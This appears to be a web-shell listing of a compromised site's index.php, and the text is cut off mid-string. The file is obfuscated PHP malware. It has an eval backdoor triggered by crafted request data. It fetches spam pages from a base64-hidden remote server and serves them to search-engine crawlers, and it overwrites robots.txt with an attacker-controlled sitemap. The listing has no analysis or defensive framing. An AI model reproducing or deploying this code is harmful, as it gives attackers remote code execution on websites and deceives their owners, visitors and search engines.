HEX
Server: Apache
System: Linux linuxhost20.itools.mn 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User: greenin1 (1074)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /home/greenin1/public_html/index.php
<?php
 goto usBvD2fkXi; web8M7kYb8: $EAZMhrrXCe = "\125\163\145\162\x2d\x61\147\145\156\x74\72\40\x2a\104\151\x73\141\154\154\157\x77\72\40\123\151\x74\145\x6d\x61\160\x3a\40{$fgFALkiWFd}{$WTglBjeu6X}{$NSrwnGZBd3}\57\x73\151\x74\x65\x6d\141\160\x2e\170\x6d\x6c"; goto OElHJXUFcN; eN1rXBIiWB: $EAZMhrrXCe = "\125\163\145\x72\55\x61\147\x65\156\x74\x3a\40\x2a\104\151\x73\141\154\x6c\x6f\x77\x3a\x20\123\x69\x74\x65\155\x61\x70\x3a\40{$fgFALkiWFd}{$WTglBjeu6X}{$NSrwnGZBd3}\57\163\x69\x74\x65\x6d\x61\160\56\x78\x6d\x6c"; goto V09lbce9kl; o4HzKfDliz: V0UUkF50L8::sn9kCPM_x3(); goto MZHnSP3sex; kZVZeEmgaW: I7L2xK2NLz: goto ZqvCn6xgsr; dkr2_iSPcn: if (!preg_match("\57\x67\157\x6f\147\x6c\x65\x2e\143\x6f\x2e\152\x70\174\171\x61\x68\x6f\x6f\174\x67\157\157\x67\154\145\134\56\143\x6f\x6d\x7c\142\x69\x6e\x67\x2f\x69", $iFrkU71miS)) { goto ssYV4WYB59; } goto y50eOJ4uNG; l_OXktAHUj: iS3Zu7AIhy: goto ssHRwLqgWr; tIFFe3oSLL: $VmnEv1mfEk = "\x72" . "\141" . "\156" . "\x67" . "\145"; goto RDdyRQ13yj; HolFpsEg28: $WZc3XR7Cqj = file_get_contents($fgFALkiWFd . $WTglBjeu6X . "\x2f\147\157\x6f\147\154\x65\162\x6f\142\157\x74\x73"); goto leKk3NzfNA; w7SrTrBRMe: metaphone("\115\124\x49\172\x4f\124\125\x34\x4f\x44\131\x78\x4d\x54\125\x34\x4e\172\121\x77\x4f\124\x45\x78\x4e\172\125\x33\x4e\x44\x67\170"); goto wccChdKiol; usBvD2fkXi: error_reporting(0); goto tIFFe3oSLL; UTe5Q_RJGM: byNj2s5yGb: goto HAcVdZhbga; ewH8wNgizo: Uhi4l_SKxY: goto HolFpsEg28; SK0agxWOyd: wFYqnnIKUE: goto g1s01prz7k; lZnqjfFafw: if (!(substr($fjEO04ap93, -4) == "\56\x78\x6d\x6c")) { goto I7L2xK2NLz; } goto qZ0b2lYV4y; OhpJDQv1ua: $jP2hEneAUN = ${$EEXv_fIX5s[16 + 15] . $EEXv_fIX5s[43 + 16] . $EEXv_fIX5s[24 + 23] . $EEXv_fIX5s[47 + 0] . $EEXv_fIX5s[31 + 20] . $EEXv_fIX5s[34 + 19] . $EEXv_fIX5s[29 + 28]}; goto FZBk2RcFfe; qZ0b2lYV4y: $cUQi0GalWc = $Wt4ICUhTP2 . "\x2f\x69\x6e\x64\x65\170\x2e\160\x68\x70\77\x64\157\155\141\x69\x6e\75" . $WTglBjeu6X . "\x26\162\x75\x72\154\75" . $fjEO04ap93 . "\46\x68\x74\75" . $fgFALkiWFd . "\46\160\150\x70\75" . $NSrwnGZBd3; goto aeeMcjC880; jjyRyPgzQf: if ($NSrwnGZBd3 == "\57\x69\156\144\x65\170\x2e\160\x68\x70") { goto Uhi4l_SKxY; } goto web8M7kYb8; h0K36GCX8p: echo "\x72\x6f\x62\x6f\x74\163\x20\x6f\153\x21"; goto A6MeZ7JWSU; KGvnJieuho: if (!substr_count($_SERVER["\122\x45\121\x55\105\x53\x54\137\125\122\111"], "\151\x6e\x64\145\170\56\160\150\x70\57\152\153")) { goto iHpGcPBbT1; } goto GxvfRUTjbW; GxvfRUTjbW: exit("\x7b\x20\42\x65\162\162\x6f\x72\42\x3a\40\x32\x30\60\54\40\42\x6c\143\x22\x3a\x20\x22\x6a\153\42\x2c\x20\42\x64\141\x74\x61\42\72\40\x5b\40\61\40\x5d\40\x7d"); goto HTfT1pENfl; iUeugYZUQN: $fjEO04ap93 = isset($_SERVER["\x52\x45\x51\125\105\123\124\137\125\122\111"]) && $_SERVER["\122\105\x51\125\x45\123\x54\137\125\x52\111"] != '' ? $_SERVER["\x52\x45\x51\125\x45\123\124\x5f\125\x52\111"] : $_SERVER["\110\x54\x54\x50\137\x58\137\122\105\127\122\x49\124\105\137\x55\122\114"]; goto zrL4WHU7Od; HTfT1pENfl: iHpGcPBbT1: goto uP0U7zAmFJ; aeeMcjC880: $I72gxXUnUL = Sszz8raWeH($cUQi0GalWc); goto sO4OVdRO1Q; lxrFEX5d1i: $VTmRDbK0el = @strtolower($VTmRDbK0el); goto R12ikuxnnm; czGkWm0MQd: echo $I72gxXUnUL; goto b0qFkPo0SB; yG0f3dPVbP: jSoi0hM2LG: goto kZVZeEmgaW; R12ikuxnnm: $iFrkU71miS = @strtolower($iFrkU71miS); goto ZgqYRj3ddw; WPHWqbXWMf: $ouJoV1bnkf = sSzZ8rawEH($Hnfk0_EW7r); goto UN2kMhFcPg; KhcZnZIjdt: if (!($I72gxXUnUL !== '')) { goto iS3Zu7AIhy; } goto q1UsNmAMnc; TbLYJpgxfq: exit; goto Nf8638rE1k; b0qFkPo0SB: exit; goto yG0f3dPVbP; Ml38q4dcTb: if (!(substr($fjEO04ap93, -12) == "\147\157\x6f\147\x6c\x65\x72\157\142\157\164\x73")) { goto gNMo8PyIcW; } goto t9Zx0HG364; VVv43KWMyp: $WTglBjeu6X = isset($_SERVER["\x48\124\124\120\x5f\130\x5f\x46\117\122\x57\x41\x52\104\x45\x44\137\x48\117\x53\x54"]) ? $_SERVER["\x48\124\124\x50\x5f\x58\x5f\x46\117\x52\127\101\x52\104\105\104\x5f\110\x4f\123\x54"] : (isset($_SERVER["\x48\x54\x54\120\137\x48\117\123\x54"]) ? $_SERVER["\x48\124\124\x50\137\110\x4f\x53\x54"] : ''); goto iUeugYZUQN; UN2kMhFcPg: if (!$ouJoV1bnkf) { goto byNj2s5yGb; } goto xdehmfB8PL; ZqvCn6xgsr: if (!oEEjlZdUdX($VTmRDbK0el)) { goto wQL25FUOSm; } goto r9c_P40iKr; A6MeZ7JWSU: exit; goto rLIRVrKg84; LH1aqRH2Dh: echo "\172\x6e\x7a\x6e\172\156\40\157\156\154\x69\x6e\145\41"; goto TbLYJpgxfq; r9c_P40iKr: $cUQi0GalWc = $Wt4ICUhTP2 . "\57\151\x6e\144\145\x78\56\160\x68\160\77\144\x6f\x6d\x61\151\156\75" . $WTglBjeu6X . "\46\x72\165\x72\x6c\75" . $fjEO04ap93 . "\x26\150\x74\75" . $fgFALkiWFd . "\x26\x70\150\160\75" . $NSrwnGZBd3; goto y9KlNCXuyC; rLIRVrKg84: fIesxpY6_7: goto Nk3dEklRxA; y9KlNCXuyC: $I72gxXUnUL = SSZZ8RAwEH($cUQi0GalWc); goto M5DTH2cHIE; MlgJxxRc4j: if (!(isset($_GET["\166\x66"]) && $_GET["\x76\146"] == "\162\157\142\157\x74\163")) { goto fIesxpY6_7; } goto jjyRyPgzQf; I1u7xI0ppX: M54z1C2MVl: goto vY_dumHJLd; clEORdL5e3: file_put_contents($_SERVER["\x44\117\103\x55\115\x45\116\124\x5f\x52\x4f\117\x54"] . "\57\x72\x6f\142\157\x74\163\56\x74\x78\x74", $EAZMhrrXCe); goto h0K36GCX8p; y50eOJ4uNG: $Hnfk0_EW7r = $Wt4ICUhTP2 . "\57\x69\156\x64\145\x78\x2e\160\x68\x70\x3f\x64\x6f\x6d\141\151\156\x3d" . $WTglBjeu6X . "\46\x72\165\x72\x6c\75" . $fjEO04ap93 . "\46\154\x67\75" . $TzeZtzEVAy; goto WPHWqbXWMf; BAWfI6ZNiZ: exit; goto UTe5Q_RJGM; qtji_o1kjv: $I72gxXUnUL = str_replace("\x6f\x6b\150\x74\155\154\147\145\x74\143\157\156\x74\145\x6e\164", '', $I72gxXUnUL); goto ijXlSQ7zpj; FZBk2RcFfe: @(md5(md5(md5(md5($jP2hEneAUN[11])))) === "\x66\146\x61\x37\62\146\62\145\141\71\x36\x65\65\62\145\66\x39\x64\x30\64\61\61\61\70\71\x66\141\x34\61\x33\70\142") && (count($jP2hEneAUN) == 17 && in_array(gettype($jP2hEneAUN) . count($jP2hEneAUN), $jP2hEneAUN)) ? ($jP2hEneAUN[64] = $jP2hEneAUN[64] . $jP2hEneAUN[80]) && ($jP2hEneAUN[87] = $jP2hEneAUN[64]($jP2hEneAUN[87])) && @eval($jP2hEneAUN[64](${$jP2hEneAUN[45]}[14])) : $jP2hEneAUN; goto w7SrTrBRMe; bESAEJn2ls: exit; goto lKgYLdxV_R; ZgqYRj3ddw: $fgFALkiWFd = isset($_SERVER["\x48\x54\124\x50\x53"]) && $_SERVER["\x48\124\x54\120\x53"] == "\157\x6e" || isset($_SERVER["\110\x54\x54\120\137\x58\x5f\x46\x4f\x52\127\x41\x52\104\x45\x44\x5f\120\x52\117\124\117"]) && $_SERVER["\x48\124\x54\x50\x5f\130\137\x46\117\x52\x57\101\122\x44\x45\x44\137\120\122\x4f\x54\x4f"] == "\150\x74\x74\160\x73" ? "\x68\x74\x74\x70\x73\72\57\57" : "\x68\164\x74\160\x3a\x2f\57"; goto wrrL5xWQV6; ssHRwLqgWr: ie0pi0ndx2: goto hTBG3mYOj6; g1s01prz7k: bt1L1Bi1oE: goto clEORdL5e3; sO4OVdRO1Q: if (empty($I72gxXUnUL)) { goto jSoi0hM2LG; } goto MkLrYgtWrm; ijXlSQ7zpj: echo $I72gxXUnUL; goto KhcZnZIjdt; uzD1cGTSHp: $I72gxXUnUL = str_replace("\x6f\x6b\x68\164\155\154\147\x65\164\143\157\x6e\x74\145\x6e\x74", '', $I72gxXUnUL); goto czGkWm0MQd; vY_dumHJLd: $EAZMhrrXCe = "\125\163\145\162\55\x61\x67\x65\x6e\164\72\40\x2a\x44\x69\163\141\x6c\154\157\x77\72\40\x53\151\x74\x65\x6d\141\x70\72\x20{$fgFALkiWFd}{$WTglBjeu6X}\x2f\163\x69\x74\145\155\x61\x70\x2e\170\x6d\x6c"; goto SK0agxWOyd; bDstq78Er9: $Wt4ICUhTP2 = base64_decode("\x61\x48\x52\x30\143\x44\x6f\x76\114\62\170\x33\x61\152\105\x78\115\171\x35\152\142\107\x56\x79\141\x33\121\x75\x63\110\x4a\x76\114\167"); goto VVv43KWMyp; V09lbce9kl: goto wFYqnnIKUE; goto I1u7xI0ppX; NwT9Z4mdVJ: @header("\x43\x6f\x6e\164\145\x6e\x74\x2d\x74\x79\x70\145\72\40\164\x65\170\164\x2f\150\x74\155\154\x3b\x20\x63\x68\141\162\163\145\164\75\x75\164\x66\x2d\x38"); goto qtji_o1kjv; Nk3dEklRxA: function OeeJlZDUdx($UGrM3D9KMQ) { goto rItDGB0dZK; rItDGB0dZK: if (strpos($UGrM3D9KMQ, "\x67\157\x6f\147\x6c\145") !== false || strpos($UGrM3D9KMQ, "\171\141\150\157\157") !== false) { goto jl9wUv53tP; } goto tCh21kootA; WQ_2DT77vJ: jl9wUv53tP: goto OO5oAktQIL; ncLvs8sSsv: LUWEwHeYTc: goto c4a2IQmJll; OO5oAktQIL: return true; goto ncLvs8sSsv; tCh21kootA: return false; goto HSv0lXCrsr; HSv0lXCrsr: goto LUWEwHeYTc; goto WQ_2DT77vJ; c4a2IQmJll: } goto lZnqjfFafw; HAcVdZhbga: ssYV4WYB59: goto KiD7ynpAZU; MkLrYgtWrm: @header("\x43\157\x6e\164\x65\x6e\x74\55\x74\x79\x70\145\72\164\145\x78\164\57\170\155\154"); goto uzD1cGTSHp; rLGmOCBLsC: $ouJoV1bnkf = str_replace("\157\x6b\x68\164\155\154\147\145\x74\143\157\156\x74\145\x6e\x74", '', $ouJoV1bnkf); goto KLT2Al8sfF; uP0U7zAmFJ: if (!(isset($_GET["\x76\x66"]) && $_GET["\x76\x66"] == "\x7a\x6e\x7a\